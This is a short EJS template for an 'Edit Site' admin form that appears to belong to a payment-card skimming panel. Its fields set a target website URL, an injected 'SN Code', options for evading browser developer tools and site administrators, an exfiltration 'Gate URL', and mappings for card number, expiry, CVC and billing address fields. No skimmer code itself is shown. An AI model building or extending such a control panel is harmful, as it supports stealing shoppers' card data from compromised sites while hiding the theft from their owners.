<%- include('../partials/head', { title: 'Edit Site' }) %>
<%- include('../partials/navbar') %>

<div class="container" style="max-width: 800px; margin: 20px auto; padding: 20px; border: 1px solid #ccc; border-radius: 8px; box-shadow: 0px 4px 6px rgba(0, 0, 0, 0.1);">
    <h1 style="text-align: center; color: #333; margin-bottom: 20px;">Edit Site ID: <%= site.id %></h1>
    
    <form action="/sites/<%= site.id %>" method="post" style="display: flex; flex-direction: column; gap: 15px;">


        <!-- Website URL -->
        <div>
            <label for="websiteUrl" style="font-weight: bold;">Website URL:</label>
            <input 
                type="text" 
                id="websiteUrl" 
                name="websiteUrl" 
                value="<%= site.websiteUrl %>" 
                required 
                style="width: 100%; padding: 10px; border: 1px solid #ccc; border-radius: 4px;">
        </div>

        <!-- SN Code -->
        <div>
            <label for="snCode" style="font-weight: bold;">SN Code:</label>
            <textarea 
                id="snCode" 
                name="snCode" 
                required 
                style="width: 100%; padding: 10px; border: 1px solid #ccc; border-radius: 4px; min-height: 100px;"><%= site.snCode %></textarea>
        </div>

        <!-- Dev Tools Anti-Detec -->
        <div style="display: flex; align-items: center; gap: 10px;">
            <input 
                type="checkbox" 
                id="devToolsAntiDetec" 
                name="devToolsAntiDetec" 
                <%= site.devToolsAntiDetec ? 'checked' : '' %> 
                style="transform: scale(1.2);">
            <label for="devToolsAntiDetec" style="font-weight: bold;">Dev Tools Anti-Detec</label>
        </div>

        <!-- Anti-Admin Tech -->
        <div style="display: flex; align-items: center; gap: 10px;">
            <input 
                type="checkbox" 
                id="antiAdminTech" 
                name="antiAdminTech" 
                <%= site.antiAdminTech ? 'checked' : '' %> 
                style="transform: scale(1.2);">
            <label for="antiAdminTech" style="font-weight: bold;">Anti-Admin Tech</label>
        </div>
        <!-- Gate URL -->
        <div>
            <label for="gateUrl" style="font-weight: bold;">Gate URL:</label>
            <input 
                type="text" 
                id="gateUrl" 
                name="gateUrl" 
                value="<%= site.gateUrl %>" 
                required 
                style="width: 100%; padding: 10px; border: 1px solid #ccc; border-radius: 4px;">
        </div>
        <!-- Additional Columns -->
        <% ['ccNum', 'ExpiRy', 'CVC','name','Address', 'city', 'state','zip'].forEach(column => { %>
        <div>
            <label for="<%= column %>" style="font-weight: bold;"><%= column.toUpperCase() %>:</label>
            <input 
                type="text" 
                id="<%= column %>" 
                name="<%= column %>" 
                value="<%= site[column] %>" 
                style="width: 100%; padding: 10px; border: 1px solid #ccc; border-radius: 4px;">
        </div>
        <% }) %>

        <!-- Save Changes Button -->
        <button 
            type="submit" 
            style="padding: 10px 20px; background-color: #28a745; color: white; border: none; border-radius: 4px; cursor: pointer; font-size: 16px;">
            Save Changes
        </button>
    </form>
</div>

<%- include('../partials/footer') %>
